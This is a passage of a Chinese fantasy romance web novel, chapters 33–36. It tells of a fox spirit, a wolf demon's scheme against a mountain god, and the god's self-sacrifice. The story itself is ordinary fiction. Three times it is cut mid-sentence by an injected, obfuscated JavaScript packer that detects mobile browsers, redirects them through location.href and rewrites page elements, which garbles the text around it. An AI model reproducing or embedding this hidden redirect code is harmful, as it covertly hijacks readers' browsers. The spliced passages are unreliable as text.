“我不要同你在一起。”她说道,一条条地搬出理由:“你太聪明了,心眼又太坏,我斗不过你,到时候死都不知道怎么死的。” 他说:“可我喜欢你。” 他话音落下的那一刻,乌云散去,明月当空,月华流转,胡紫仿佛看到他一颗真心就在她指尖,等着她搓圆捏扁,予取予求。 他喜欢她,就像她之前喜欢宋观山一样,他会想方设法逗她开心,带她去最有烟火气的食肆吃面,去野地捉蚁,来屋顶赏月,就像她之前千方百计要取悦宋观山—— 他心性是坏,可他对她好,这还不够吗? - “所以你是爱上了他对你的好,而不是他这个人,啊不是,他这头狼,对吗?” 胡紫摇头。 “日子一长,他的人和他的好,哪里能分得那么清楚?我分不清楚,左右现在他是我认定的夫君,我不可能看着任何人伤害他。” 还挺有哲理。花清浅翻了个身,背对着她说道:“好吧。天色已晚,你先在这里住下,明日我跟你走一趟。” “姑娘不用亲自——” “没有本姑娘,聚灵石就算到你们手上也是废石头一块,根本增强不了半分灵力。”花清浅打断她道,“行了,离天亮没几个时辰了,明日还要有大动作,赶紧洗洗睡吧。” 胡紫愣了一下,才反应过来她这是要帮忙帮到底,不由在原地感激地磕了三个头,爬到里阁的软榻上,枕着尾巴闭上眼睛。 - 翌日清晨,花清浅简单洗漱一番后走进雅阁,发现玉京子和东方容楚正坐在四人方桌的一侧,玉京子面前的盘子里满满当当叠了四大块芋头糕、五根鸡肉春卷、三份金丝萝卜炸豆腐,旁边放着一碗牛肉杂蔬羹,里边泡着几段小油条,嘴里还塞着两个虾仁大馄饨。 “清浅!”玉京子看见她,赶快把嘴里的馄饨咽下去,冲她招手:“快过来,这儿的早饭比慕城好吃多了!” 花清浅笑道:“此地毕竟是京城天子脚下,哪里有不好吃的道理。”何况房钱那么贵,饭再不好吃,这店早就被人砸了。 她在东方容楚对面坐下,看到他盘子里的东西是玉京子的一半,给自己要了碗粥,顺便在桌下踢了玉京子一脚,要他控制食量,不要显得太异于常人。 33. 第33章 往常吕浮白都是和花清浅前后脚来吃饭,他也不是睡懒觉的人,今日怎么却没看见他。花清浅正心生奇怪,就见吕浮白的身影出现在雅阁门口,忙冲他打了个招呼,要他坐过来。 “现在人齐了,咱们商量个事啊。”她将昨晚胡紫来求助的事转述一遍,末了说道: “那小狐狸的故事蛮精彩,我是真有点感兴趣,八成要在此地多逗留两日了。东方你当务之急是上京赶考,那咱们就先在此分开,你说个京城约见的地方,到时候我们去那找你。” 东方容楚温和道:“托姑娘的福,此时离会试还早,京师就在一步之遥,倒也不急在这一时。晚学多留两日,也是无妨。” 吕浮白余光瞥了他一眼,东方容楚只觉得有一道尖锐的利器从侧前方袭来,刺得他浑身一凛,抬起头看时,却什么都没有,只看到花清浅拍着手笑道:“那再好不过啦!我这就给咱们续房费去。” “一路已麻烦颇多,怎好意思再让姑娘破费。”东方容楚忙让她坐下,由他来续房钱。 几间房钱,谁给不是一样?花清浅本来觉得这样显得生分又疏远,要同他争一争,但转念一想,从头到尾都是她出钱,好像也不大妥当。 现在她把东方容楚当作潜在求偶对象来看,就不能太惯着,话本子里说,不懂付出的书生就不懂珍惜,让他出点钱也挺好。 于是她便也没说什么,笑吟吟看他起身掏钱,却听身边的吕浮白忽然开口。 “房钱我早已付过。若等到现在才续,上房早就没空了。” 他的声音本就低沉,现下语气更是透着股冷,东方容楚握着钱袋的手顿在半空,有些尴尬。 花清浅知道吕浮白只是有事说事,他沉睡了近千年,性格本就如此,并不是刻意针对东方,忙打圆场道:“那个,不至于吧,昨天空房还有很多的。” “今日凌晨大批客商坐船来此,本城的客栈都快满了。”吕浮白看着她说道,语气似乎缓了几分。 “真不愧是世——是神医啊,凌晨时都如此敏锐,要不是你,我们今晚都要没地方住了,多谢。”她拿起粥碗,冲他做了个敬酒的动作,他以茶杯回敬,唇角微微勾起。 有花清浅从中调和,气氛融洽许多,东方容楚从容收回钱袋,继续低头用餐。 不过,无论桌上有什么暗流涌动,最能波澜不惊的还属玉京子。他连桌下花清浅的踢打都能受住,还不忘跟小二叫道:“再来一碗汤,要牛肉多多的那种!” - 饭后花清浅叫了两根油条包糍粑回房,准备投喂早上迟迟未醒的狐狸团子,剩下三人跟她同行,房门打开,玉京子和吕浮白很自然地跟着她走进去,只有东方容楚还站在门口踟蹰不前。 “这是清浅的闺房……” “东方书生,你可要知道,花清浅这人就没有你们凡夫俗子所谓‘闺房’的概念。”在花清浅拉他进来之前,玉京子抢先回头说道,“你再纠结什么有礼无礼,小心她烦你。” 东方容楚想了想花清浅的做事风格,好像的确如此,便道一声失礼,小心走了进来。 花清浅绕过屏风,走到内间,床边榻上的狐狸团子闻到油条糍粑的甜香味,小尖嘴在梦中咂了咂。她看着有些好笑,推了下胡紫触感丝滑的毛茸茸后背,叫她起床,又把油条递给她。 “快吃,吃完了带我们去找你夫君。”她在桌前坐下说道。 胡紫正朝油条摩拳擦掌,闻言顿了一下,看向她身后:“这么多人,都要一起去?” “怎么,不行?” “当、当然可以,我只是想说,万一碰上山神,这么多人岂不是很危险。” 她说得也对,几人商量一番,最后决定东方容楚和玉京子留在客栈,正好也叫书生清静清静,好好复习,吕浮白和花清浅跟着狐狸前去她与公孙柘的住处。 胡紫三两口吃完一根油条,另一根用油纸包着带走,像是准备投喂给家里那位吃的。见她变做一个容貌丰美的女郎,覆上面纱,一切收拾妥当,三人不再耽搁,出了客栈,往城东走去。 胡紫归心似箭,走在最前方,花清浅与吕浮白略落后一步,吕浮白不动声色划了个结界,让前面的狐妖听不到任何动静,提醒花清浅道:“此妖邪气颇重,言语不可尽信。” “世子放心,我都晓得。”花清浅心里有数,见前面像是要拐弯,胡紫的视线有朝后瞟来的趋势,忙拉了下他的胳膊,示意他撤了结界,以免让她发觉。 下一刻,胡紫果然扭头引路道:“前面左转,这条小巷尽头的屋舍便是我与公孙柘临时歇脚之地。”见花清浅拉着吕浮白的手臂,她眨眨眼,好奇问道:“姑娘同这位上神说什么悄悄话呢,靠得这样近?” “哦,就是我忽然想到,之前我为什么会一眼喜欢上东方。”花清浅大方地迎上她的目光,见她目露茫然,还主动解释道:“东方,就是东方容楚,早晨最后进屋的那个书生。” 胡紫听懂了:“原来是他啊,那位公子确实一表人才。”那样温润如玉的翩翩公子,她也是第一次见到,故而印象深刻,“怎么,姑娘对他一见钟情,却是现在才琢磨出来原因?” “是啊。”花清浅朱唇扬起,状似害羞地看了眼吕浮白,“我才意识到,东方那双眉眼有时候看着跟凤凰神君有点像呢,怪不得我一见他就有好感。这位大明王世子也见过神君,所以我想问问他,是不是也觉得吕浮白跟神君像。” 胡紫不疑有他,起了些兴趣道:“真的假的,神君居然跟一介凡人长得像?怕不是姑娘你情人眼里出——” “不像。”吕浮白兀地开口,神色执拗,又像是极力藏着委屈,“他们不像的。” 只是一句打消胡紫怀疑的玩笑话而已,就算是维护老祖,他至于当着胡紫的面拆她台吗?花清浅有点无语,带着几分真情实感的嫌弃推了他一把: “行行行,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434261|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸟族祖宗天下无双,谁都不配跟他像,我说错话了,好吧。” 说话间,三人已经来到小巷尽头的屋舍门前。按照胡紫的嘱咐,花清浅与吕浮白二人站在三步远的地方,看着胡紫在门前对了三遍手势、解了一道小型阵法,又叽叽咕咕地说了些什么,那道木门才“嘎吱”一声,骤然开启。 “两位里面请。”胡紫将两人迎了进去,又回身锁好了门。 花清浅跟在她身后走进庭院,看到不远处的回廊里立着一个人,灰发绿眼,想必就是公孙柘。 “夫君!”胡紫一进屋门就放松下来,朝公孙柘大步跑去,没收劲撞进他怀里:“你昨晚一个人呆在这里,没出事吧?我给你带了根油条糍粑,是大客栈做的,你早上没吃饭吧,快填填肚子……” 公孙柘点点头,又在胡紫的介绍下与花清浅两人分别行过了礼。 早在他们夫妻二人黏糊拥抱的时候,花清浅就把院内陈设看了个遍,同胡紫笑道: “这整个屋舍就是个浑然一体的阵法,你这夫君可真是有巧思。”进门就是进阵,难怪胡紫进门时那么费劲。 公孙柘看了她一眼道:“姑娘谬赞,只是个粗浅的防御阵,苟且偷生而已,算不上高明。” “哎,你何必自谦呢?我虽不太懂阵法,但你这防御阵是我见过最精巧的,便是不用聚灵石,也已然威力非凡了!” 她真诚地说道,如春日海棠般纤妍明媚的小脸上满是崇敬,丝毫不似作伪。 吕浮白在一边看着她,眼里飞快划过一丝笑意——所谓“不太懂阵法”,她对阵法研究分明是天下一流,他亲手教出来的,最是清楚不过。 “可是这样一来,你们以后怎么办呢?”她抬起头,故作疑惑地问道: “小型阵法还可以随身保护,但这么大的屋子,恐怕不能时时带在身上吧?为了保命,你就准备一辈子不出院门了么?” 公孙柘耐心解释:“姑娘有所不知,昭山山神乃是个柔和仁善的性子,我们想他这次的暴怒也不会持续太久。只要捱过这一阵,他自己也该想开了。” 他倒也能自圆其说。花清浅没再废话,拿出一块紫色的聚灵石,依照公孙柘的指引,摆在回廊第二排扶手外的阵眼上。 在摆正位置的那一刻,聚灵石原本不规则的形状飞速变化,变成与阵法相配的规整立方。花清浅叫其余人都转过身去,确认没有人偷看后,指尖从聚灵石的顶点上钩连出复杂纹样,她嘴里轻念法诀,又从厨房里的水槽引来水滴,送入石体。 水系灵力结成,聚灵石的八个顶点顿时发出灵光,法阵的灵力增强了十倍不止! 感应到阵法威力增强,公孙柘握紧了胡紫的爪子,两人对视一眼,眼底皆是兴奋。 吕浮白将他们那点心思看在眼里,掩下一丝讥讽,转过头去。 过了不一会,花清浅钩画完毕,吐出一口长气,“阵眼已成,你们可以转身了。” 34. 第34章 仿佛是掐好点一般,前一刻法阵初成,后一刻上方的苍穹就暗了几分。花清浅猛地一惊,抬头看去,只见一道白发身影从天边逆光而来,越飞越近,悬停在小屋上方,居高临下俯视着他们。 “连上神都叫来了。”他目光掠过吕浮白,最后落在胡紫身上,“但是没用的,你就算叫来上古真神,公孙柘也难逃一死。” “宋观山,你冷静点,现在收手还来得及——” “留他到今日,我已经够冷静了。” 他缓缓落到地上,仿佛此屋浑然一体的阵法形同虚设,神情冷峻,咄咄逼人,排山般的威压扑面而来,叫花清浅下意识往后缩了缩,几乎不能把眼前这尊煞神与胡紫回忆里那个温柔害羞的山神联系起来。 吕浮白不动声色挪了一步,护在她面前,山神的气势尽数被他挡去,花清浅小声道了声谢。 两人在这边磨蹭,那边三人早已开打。宋观山的法力远远在公孙柘与胡紫之上,斗法不到两个吐息,公孙柘就露出破绽,宋观山毫不犹豫,反手挥出杀招。 汹涌而致命的神力爆发而出,对准的却不是公孙柘的方向,而是莫名往宋观山本人身上反噬而去! 就在宋观山即将遭受反噬的一瞬间,花清浅原地俯身,素手猛地往地上一拍,聚灵石从阵眼跳出,随着她的力道捣毁了游廊第一排扶手的某块布局,那股增强了上百倍的神力顿时消弭于无形。 变故发生得太快,一时间斗法的三人都愣在原地,只是神色各异,其中胡紫的神情最为惊诧:“姑娘,你……” “不好意思,让你失望了,我没那么好骗。” 花清浅开口道,她本来想踱步绕开吕浮白,看着胡紫的眼睛说出这番话,这样比较有威慑力。但她一动,吕浮白也跟着动,似乎打定主意要把她护得密不透风,她只能把住他的肩膀,从他背后探出小半张脸,姿势有些别扭地说道: “枉你搜集来当年我与凤凰神君的种种细节,把你和宋观山的故事一一对着往里套,你以为我听了这些,就会什么都不管不顾、一心偏帮你么?” 还有一句话,她憋着没说:胡紫心里恨宋观山,就以为她也恨神君,恨到失去理智、多年之后仍不能释怀,在相似的故事里也一定要看他倒霉。可她不知道,花清浅真的不恨他。 “我的确同情你。但这点同情,还不至于让我同天道作对。”花清浅看向狐狸惊慌失措的双眼,复杂地摇了摇头: “狐狸团子,你知不知道,弑神是会加速天罚的。” 所谓宋观山要杀了公孙柘的理由,纯粹就是胡扯。昨夜趁胡紫睡着,花清浅神魂离体,亲自走了趟蔗县,从昭山山脚下榕树精的嘴里得知了全部真相。 故事的前半段,与胡紫所述基本一致,然而从公孙狼族介入时,她的回忆就出现了偏差。 那棵榕树精一边咂摸着花清浅浇的水,一边叹气道:“哎!那只小狐狸啊,幼稚得很,山神大人给那狼女甘泉水是为了救命,她却认定山神移情别恋,一赌气就下了山。” 而山神留下公孙澈,纯粹是心怀悲悯,不忍见已修成人形的狼女丧于人手,并没有对她生出半分男女之情。 “那小狐狸嘴上说可以在山里呆一辈子,但山神与她相处日久,已能察觉到她更喜欢热闹,喜欢凡人聚居的烟火气,是以放她离开,无非是不愿将她束缚于深山。” “在甘泉水的滋养下,公孙澈的伤没几日就尽数痊愈,山神大人客客气气地送走了她。自此,大人又是孤独一人了。” 榕树精原以为山神大人会就此孤独一生,直到某日修成道法、脱离山体,却不料在公孙澈离开的当晚,胡紫就回到了山上。 “什么?”花清浅秀眉一挑:“狐狸团子还回来过一次?” “老朽也颇觉奇怪,以她的气性,应与山神大人一刀两断才是。”榕树精回忆道,“可她确实回来了,还主动找到山神大人,像是旧情未了的模样。” 榕树精指了个地方,就在那块巨大的山石之上,小狐狸找到闭目假寐的宋观山,同他说道:“公孙澈走了?她就这么抛下你了,山神大人所托非人呀。” “……”宋观山听出她的阴阳怪气,开口解释:“我与公孙姑娘并不是你想的那样,她养好伤,本就该走了。” 胡紫却根本不相信他的解释,就像之前她认定他移情别恋,现在她也认定他因为狼女心神俱碎,只是不肯表现出来。她摆出一副心知肚明的表情,放言道: “你想哭就哭,我的肩膀就在这里,你可以埋进去哭。不要怕丢脸,我保证不笑话你。” 宋观山颇感无奈,但胡紫主动上山已经是意外之喜,他便没有与她多作争执,只问她找他有什么事。 “没什么事儿。就是听说公孙澈走了,担心你会哭得喘不上气,所以过来看看。”她眼神飘忽,皱着鼻子说道:“顺便问问……既然她不要你,你现在没有别的选择,要不要再考虑一下我。” 宋观山一个趔趄,从假寐的巨石上跌落在她身边:“你、你说什么?” 山神看着胡紫在昭山腹地长大,亲眼见证她第一次化人,亲手帮她逃出山火,之后又远观她将一众年轻村民迷得团团转,比谁都清楚她的心性。 她没有被条条框框的规矩捆绑过,凡事都按照心意而为,有时甚至会胡来一通,最重要的是,她从小受尽宠爱,绝不会让自己受委屈——因此,在她发脾气下山、与他分开的时候,他便认定,她不会回头。 他们大约是再无可能了。 那时宋观山凝望着她赌气的背影,叹息着接受了这个事实。 情爱的滋味,他这一回本就是浅尝辄止,并未生出什么执念。两人就此分开,也是缘分生灭之果,都是自然;只要她好,哪怕她明年在山脚下与别人成婚,他也能在山上遥祝她幸福。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445751|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可胡紫偏偏又跑了回来,出乎了他所有意料,违背了她所有本性,一双狐狸眼闪烁不定,仿佛只想与他长厢厮守,自己却全无把握—— 她居然爱他爱到了这个地步。 一股从未有过的情潮洪流席卷过全身,汹涌地堵在胸口,宋观山呆在原地,青苔古石般平稳不动的一颗真心彻底沦陷。 “我说,我想要一切既往不咎,我们重新开始。”她重复了一遍,见他还呆呆地看着她,以为他要拒绝,小脸一沉扭头就走。 宋观山的身体比理智反应更快,他下意识飞身上前,拉住她的手,一把将她拉进怀里,抱着她柔软的双肩,平复了很久才说道:“好,我们重新开始。” 胡紫被他扣在怀里,不舒服地扭了扭,他察觉到她的动作,忙稍稍退开一步。 “怎么了?”他问。 “我好像闻到一股狼妖的味道。”她不高兴地说,“你是不是也这么抱过公孙澈?” 宋观山想了想,他只有在第一日救下那狼女的时候抱过她,便是那时两人也没有这么亲密,不至于会留下味道。 “你闻错了。” “你没有否认抱过她,所以你真的抱过她!”胡紫尖声叫道,“你还说你跟她没有男女之情,我就知道你是骗我的,我就知道!” 宋观山试图解释:“你冷静一点,我抱她是因为——” “你闭嘴,这种甜蜜回忆你一个人留着就好,不用分享给我!” 她乱吃醋的样子也很可爱,宋观山摇了摇头,放弃与她争辩,把气到炸毛的狐狸团子重新揽入怀中。 反正日子还长,他想,他慢慢哄着她,总有一日她能明白过来,消除误会。 - 自从天降星火,宋观山元气大伤,法力好容易才恢复过来,难以再继续突破,千年内都无法脱离山体。 然而,这次胡紫主动回到他的身边,失而复得的狂喜填满他整颗心脏,宋观山一瞬间心性彻悟,法术通明,修为在短短十日便突飞猛进,境界提升不止一层,灵体坚实无比,竟然可以初步下山了。 因为天气渐冷,这几日胡紫便没有睡在山上,而是宿在自家茅草屋里,只有中午才上山。宋观山神力可生热,她以前从没嫌过冷,现在无非是不想与他同睡,大约还是芥蒂公孙澈在那张床上睡过。宋观山对此心知肚明,也没有拆穿。 这日她迟迟不来,正好他修为小成,有意要给她一个惊喜,便偷偷拿着提前做好的嫁衣下了山,来到她的茅草屋前。 “唉,那可是老朽见过最惨烈的一场惊喜。”榕树精满是沧桑的树干摇了摇,“姑娘肯定猜不到——” 这有什么猜不到的,花清浅张口就猜:“狐狸团子和狼妖正在屋里亲热,被他撞见了?” 榕树精噎了一下。他把气氛都烘托到这了,却被她一语道破,讲故事的兴致都快败完了。 “……正是。” 35. 第35章 胡紫有一双狐族特有的眼睛,眼尾上扬,分外妖孽,是一副没有天赋也能浑然天成勾引人的模样。此时她含情脉脉地注视着公孙柘,灰发绿眼的高大狼妖慢慢俯身,她配合着抬起下巴,两人唇间距离越来越短—— 茅草屋大门敞开,门外宋观山仿佛脚下生根般死死立在原地,僵硬地看着眼前这一幕,全然无法理解,为何胡紫会与公孙澈的哥哥亲密至此。 直到眼睁睁看着两人快要吻上,他才嘶哑着嗓子发出一声厉喝:“你们在做什么!” “谁呀?”胡紫吓了一跳,忙躲进公孙柘怀里,只探出一双狐狸眼,埋怨地望向他,“这么大动静,我耳朵都要被你震聋了。” “你怎么与他在一起?”宋观山死死盯着两人,只觉眼前的一切荒谬至极:“不是说喜欢我,不是说想要与我重新开始吗,你为何又同他在一起?” “你都能跟公孙澈花前月下,甘泉水送出去一盆又一盆,我跟她哥在一起又怎么啦?”胡紫理不直气也壮: “既、既然被你发现,我就直说了,什么重新开始,只是开个玩笑,我才不会要公孙澈丢下的东西呢!我们到此为止吧。” 宋观山视线转向一直气定神闲的公孙柘。 “是他跟你这样说的?”他问道,语气轻柔,却像是蛰伏着从未有过的危险,“是他挑拨你误会我——” “不是!公孙柘没有挑拨,我只是爱上他了而已,他什么都没做错!” 那是榕树精第一次看到山神那样毁天灭地的怒火,仿佛踏着幽冥修罗道,宋观山缓缓朝那两人走近,定定看着胡紫的双眼,一字一句道:“你也懂什么是爱吗?” 胡紫强撑着回瞪他:“我怎么不懂?” “情由心生,忠贞不渝,你才爱了我几日,转身就能爱他?” “……” “那倘若他立刻死了,你为他哀悼十日,十日之后,也该回心转意了罢。” 察觉到情况不对,胡紫急道:“不是,咱们就一夜情缘,何必闹成这样呢?我错了,我不该戏耍你,但我真的爱公孙柘,你就放我们走吧!” 宋观山眸子一瞬间变得赤红。 “也好。”他说,“等我杀了他,你再爱我不迟。” - 榕树精很有些公允在心:“哎,其实小狐狸也就是一时被那狼王迷了心智,上头些也没什么。可她不该在山神大人面前那样维护他。” “山神大人刚刚修得断离山体,想与她结永生之好,她却转身要嫁另一个妖,山神大人就此发疯,也是人之常情。” “如今山神大人与那狼王不死不休,也不知胡紫作何打算,那小狐狸一向不识大体,恐怕也没有料到会是这个结果。” 听他说完,花清浅起身,忽然冷笑了一声。 “你还不知那狐狸团子作何打算?她明显是要偏帮公孙柘啊。” 到这里,此事已经分外明晰。 一开始就是那公孙柘兄妹搞鬼,他们八成是听说昭山炼出了神器金银钉,贪心不足想要抢夺,来了之后却发现昭山防卫密不透风,只得另辟蹊径。 由公孙澈先上演美人计与苦肉计,宋观山心软中计,她得以入住山内,装作一见钟情刻意接近他,伺机下手,可神器认主,不能使用寻常手段偷取; 与此同时,胡紫因吃醋大闹脾气,公孙兄妹一定注意到了宋观山有多哄着狐狸团子,就此把坏主意打到了她身上。 于是公孙柘挑拨离间、趁虚而入,目的还是为了让宋观山方寸大乱,主动踏出刀枪不入的昭山。 公孙术法并不高明,却善摆阵,原本的打算估计就是激将宋观山上门杀他,用反噬阵将杀意反加到山神身上,借力打力,杀神夺宝。 根据胡紫真真假假的交代,公孙柘的算盘险些成功了一次,只是阵法灵力太弱,被宋观山直接震碎了阵眼。眼下他正想方设法加强阵眼,所以才需要聚灵石。 至于公孙柘对狐狸团子是纯粹利用,还是利用之余生出了点别的心思,这就有待商榷了。 不知道为什么,花清浅越想着这回事,越觉得公孙柘的身影与一个人重叠起来。 在飞回客栈的路上,她忍不住碎碎念:“不行不行,花清浅你不能见到一个人就想起你夫君,啊不是,你亡夫……赵刑西虽然是坏人,但他坏得很有格调,你怎么可以觉得公孙柘跟他像?!” 她绞尽脑汁半日,终于想到两人最大的不同:“对了,赵刑西又不是狼,他是朱雀,是鸟神!绝不是那等狼心狗肺的东西。” 一个鸟神,凤凰神君的近亲,再坏也坏不到哪里去,这就是花清浅的善恶观。 她在客栈外徘徊了片刻,等到情绪平复下来才潜入房间,与幻化出的傀儡妖身融为一体。狐狸团子还在榻上睡得呼噜四起,没有看到原本熟睡的花清浅忽然睫毛微颤,睁开了眼。 - “想不到吧,一棵道旁灵力低微的榕树,也能让你的计划功亏一篑。”花清浅说完,挑眉看向公孙柘。 这公孙柘倒还真是个人物,被她在众目睽睽下戳破了阴谋,面上还是一派淡定,气势不减分毫。 花清浅看不得恶人嚣张,推着身前的吕浮白走了几步,凑近他逼问道:“如今金银钉无望,天罚却快要来了,阁下有什么遗言,说说?” “姑娘所谓天罚,天要罚我,罚的又是什么?”公孙柘还真开了口,“是弑神?还是吃人?那我正好也想问问,天神何贵,凭何杀不得?凡人与飞禽走兽有何异,有何吃不得?” “我妹妹降生的那一日,北地牧民打死了我们的爹娘,把他们毛皮做成了靴子,穿在脚下踏在地上。” “凡人可以随便剥我们的皮,不必操心杀孽,可我们妖吃一回人心,都会沾染上邪气,时时刻刻担心堕落成魔——只因天道偏心凡人,他们就是万物之灵长,凭什么?” “那一日,我亲眼看着爹娘被做成凡人足下靴,无力为他们报仇,只能带着妹妹仓皇逃窜。但之后我修炼得法,吃人心如同开胃小菜,我们便再也没有那般憋屈过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463597|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “从今往后,我也不想再那般憋屈了。” 像是不满他这番说辞,公孙柘话音未落,上空就有隐隐乌云逐渐聚拢,响起天雷阵阵,然而在电光爆开的一刹那,却只见他薄唇一勾,身上黑气涌出—— 他竟立地成魔了! “小狐狸。”他入魔后法力暴涨,生生撑起一个结界,罩住整个小屋,将滚滚天雷挡在屋外,朝胡紫伸出手:“那些天雷都是朝你劈的。天道不仁,我护着你,跟我走吧?” 胡紫手刚抬起来,就被宋观山不由分说拽住,再不能往前一寸。她扭过头,对他急喝:“放开我,难不成你想让我化灰么!” “不要学坏。”宋观山柔声说道,“事到如今,你还听这头狼妖的话?他走投无路了,才想拖你下水。有我在,天雷不会拿你如何。” 他一面说着,一面暗暗催动神力与公孙柘斗法,逼得他双手应战,分身乏术,结界很快碎裂出一道缝隙。 一场小型神魔大战就此展开,气氛紧张又刺激,旁边的花清浅看戏看得津津有味,手里就差拿个瓜子,还不忘指指点点:“这狼妖就算入魔了,也还是打不过山神啊。” “你想帮谁?我替你出手。”吕浮白看向她,眸色认真地问道,手上还偷偷撑着神力——他知道她有功德金光护身,不怕天雷,但以防万一,还是在她头顶支了片结界。 “眼下嘛,我谁也不想帮。”花清浅从乾坤袋中掏出一把肉干,分给他一小撮:“但如果这位山神性命垂危,我说不准会救他一救。” 吕浮白接过那撮肉干,手心与她指尖一触即分,有股微微的酥麻:“为什么救他?” “因为他是个好人,跟傅玄一样。”花清浅说道,她全神贯注盯着战局,没发现吕浮白的眼神一瞬间柔和了万分。 结界的缝隙越裂越大,天雷很快从那道缝隙中漏了出来,将小小的屋舍庭院轰得七零八落。 眼见败局已定,公孙柘最后看了眼胡紫,闪身从一团黑雾中消失。乌云仍未散去,宋观山正朝上空施法,却感觉到手上一紧,是胡紫拉了他一下。 他转过头,只看到她脸色苍白,有燃烧的电光在她背后慢慢熄灭。 ——公孙柘被逼走的那一瞬,结界消失,一道天雷狠狠劈中了她的后背。 他近乎手足无措地接住她,一时没顾得上收住神力,上方的乌云被一哄而散,连原本的苍穹似乎都被冲出一个豁口。 “你、你知道我,为什么不躲进你怀里吗?”迎着他不解又痛怆的目光,胡紫笑了笑,用力吐了口鲜血,她知道山神怀里能躲避天雷,但她就是不愿意靠近他:“因为我宁可死了,也不会碰公孙澈碰过的地方。” 宋观山颤抖着召出金银钉,她却一撇头道:“你让我死吧,我不要你救。” “……” 他却仍是沉默,催动起灵力,默然而狠戾地将金银钉送入自己心腹。 胡紫惊骇地瞪大眼睛,看戏的花清浅也倒抽了一口冷气,朝这边迈出一大步。 36. 第36章 被山神血色浸透,金银钉斑驳的表面逐渐剥离,变得光滑无暇,散发出古藤般柔和的青绿色灵光。 “金银钉非是凡物,但要动用,必先、先沾神血。”眼看胡紫伤势好转,邪气也被一点点净化,宋观山松了口气,握着神器的手指无力地垂下: “我死以后,金银钉会认你为主,但你要记住,你以后不能过于依赖此物——” 胡紫猛地抬起头:“你说什么,你要死了?” “公孙柘他们想要金银钉,可他们不知道,只有我自愿赴死,神器才会易主。”宋观山温柔地看着她,仿佛在这一刻又变回了那个纯良包容的山神:“你也想要金银钉,没关系,我给你……” 公孙柘的计划,她未必全程都蒙在鼓里,如果说狼妖是彻头彻尾的坏种,那么她就是他天真残忍的同谋。 她也想从他这里分一杯羹,他知道的。 可其实她根本不用这么大费周章,只要她要,只要她开口,他有什么不能给。 从前没能及时给出去的那捧甘泉水,叫她误会到今日,他再也不会,再也不舍得犯同样的错误。 胡紫睁大眼睛瞪着他,嘴唇半张,好像一句话都说不出来,豆大的眼泪一颗颗砸到地上。宋观山抬起手,却没有力气为她擦泪,只能轻轻搭在她的脸侧: “没关系,不要哭。我、我其实不太疼,但看你一哭,就开始疼了……” - 自愿赴死的神没办法救,花清浅眼睁睁看着好人山神呼吸减弱、魂归天地,完全束手无策。 胡紫抱着毫无生气的宋观山和他留下的金银钉,喘着气大哭不止,掉泪越来越凶,姣好的面容皱巴成一团。 山神福泽深厚,天雷本应绕着他走,何以偏偏劈中了他身边的小狐狸?胡紫的这点小手段,花清浅看得一清二楚,因此对胡紫本来有些一言难尽,但看她这副乱糟糟惨兮兮的模样,什么责备的话也说不出口,只是跟着红了眼眶。 “其实你不必伤心。”吕浮白怕她也掉泪,在耳边低声告诉她:“山神是立地而生的神灵,本体不倒,便不会真正死去。” 花清浅又惊又喜地看向他,“真的?宋观山还有救?” 吕浮白点点头:“普通山神只要十年便可重塑神魂。昭山地理特殊,天地灵气浑厚,宋观山所需的时间大概还要短些。” “世子你第一次来凡间,怎么会知道昭山地理特不特殊?”花清浅隐约觉得有些奇怪,不过没等他回答,她自己就得出了答案:“是了,你这等鸟族才俊,一定学识渊博,这世间哪有你不知道的天文地理。” 她夸他“学识渊博”。 两日之前,她也用这句夸过东方容楚。吕浮白忍不住想问问她,他和那书生相比,究竟是哪一个更渊博些,可又怕她嫌烦,犹豫着动作慢了一拍,她已经朝胡紫的身边走了过去。 “哎,狐狸团子,别哭了。”花清浅凑近小狐狸身边,提着她的后领把她提溜起来,看她仍哭得一抽一抽,颇感头疼:“我说你别哭了,要是真的斯人已逝,你流这么多眼泪也是白流。” 胡紫眼里堆满泪水,可怜巴巴地看着她。花清浅看不得美人落泪的软肋被狠狠拿捏,她叹了口气,松开手让小狐狸原地站好,提醒了一句。 “我要是你,就会常回昭山看看。虽然人死不能复生——”她朝吕浮白勾勾手指,后者立刻会意,与她一起向门口走去,两人并肩出了门,她连头也不回,任由尾音飘散在风里: “——但说不定,会有奇迹呢?” - 花清浅两人回到客栈时,玉京子正大敞着房门,让冷风吹凉过烫的奶糕,看见他们回来咧着嘴招呼道: “清浅回来了?事情解决得如何,那只狐狸保住夫君了吗?” “她夫君入魔了,但好歹没死,也算保住了罢。”花清浅不想多提,让玉京子伸出手腕,自顾自给他渡去功德。 “这次事件比较复杂,我们虽然在场,其实什么忙都没帮上,天道赐的功德却比以往都多——估计因为你是上神的缘故。”她一面分出功德,一面转向吕浮白说道,“这次真是多亏了你。” 